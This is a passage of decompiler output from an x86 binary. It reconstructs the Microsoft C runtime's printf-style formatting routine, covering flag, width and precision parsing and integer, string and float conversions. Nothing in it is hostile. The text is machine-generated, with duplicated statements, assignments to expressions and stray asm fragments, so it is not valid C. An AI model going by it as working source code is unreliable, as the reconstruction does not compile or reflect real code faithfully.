												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t97 = __ecx - 0x30; // -48
												__edx = __eax + _t97;
												 *(__ebp - 0x18) = __eax + _t97;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t108;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t116 = __ecx + 0x435840; // 0x504e9003
											__edx =  *_t116 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M0043582C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t627 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t157 =  *(__ebp - 0x324) + 0x4358ac; // 0xcccccc0d
											__ecx =  *_t157 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00435870))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L88:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L90;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													L81:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x288) = E004285E0(__ebp + 0x14);
													__eflags =  *(__ebp - 0x288);
													if( *(__ebp - 0x288) == 0) {
														L83:
														__edx =  *0x440f80; // 0x404478
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
														L87:
														goto L190;
													}
													L82:
													__ecx =  *(__ebp - 0x288);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														L84:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L87;
													}
													goto L83;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041BA60(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AFF0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0xc0d8c8fb
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AFF0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0xc0d7763b
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AFF0(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0xc0d772bb
																	E00424860(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
															do {
																L190:
																if( *(_t627 - 0x28) != 0) {
																	goto L216;
																}
																goto L191;
															} while ( *(__ebp - 0x324) > 0x37);
															goto L72;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E004285E0(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E00428620(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E004344A0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													goto L0;
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L90:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E004285E0(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L101:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L104:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L106:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L107:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L108;
													} else {
														L94:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L97:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L98:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L99:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L100:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L108:
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E004285E0(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004285E0(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004285E0(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E00430A00( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E00430A80( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t627 - 0x314) = 0;
									} else {
										 *(_t627 - 0x314) = 1;
									}
									_t574 =  *(_t627 - 0x314);
									 *(_t627 - 0x278) =  *(_t627 - 0x314);
									if( *(_t627 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t529 = L0041E520();
										_t630 = _t630 + 0x14;
										if(_t529 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t627 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00423010(_t574))) = 0x16;
										E00422DA0(_t558, _t574, _t625, _t626, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t627 - 0x2f0) = 0xffffffff;
										E0041AFC0(_t627 - 0x40);
										_t502 =  *(_t627 - 0x2f0);
										goto L229;
									}
								}
							}
							L219:
							if( *(_t627 - 0x25c) == 0) {
								L222:
								 *(_t627 - 0x334) = 1;
								L223:
								_t561 =  *(_t627 - 0x334);
								 *(_t627 - 0x2e0) =  *(_t627 - 0x334);
								if( *(_t627 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t507 = L0041E520();
									_t630 = _t630 + 0x14;
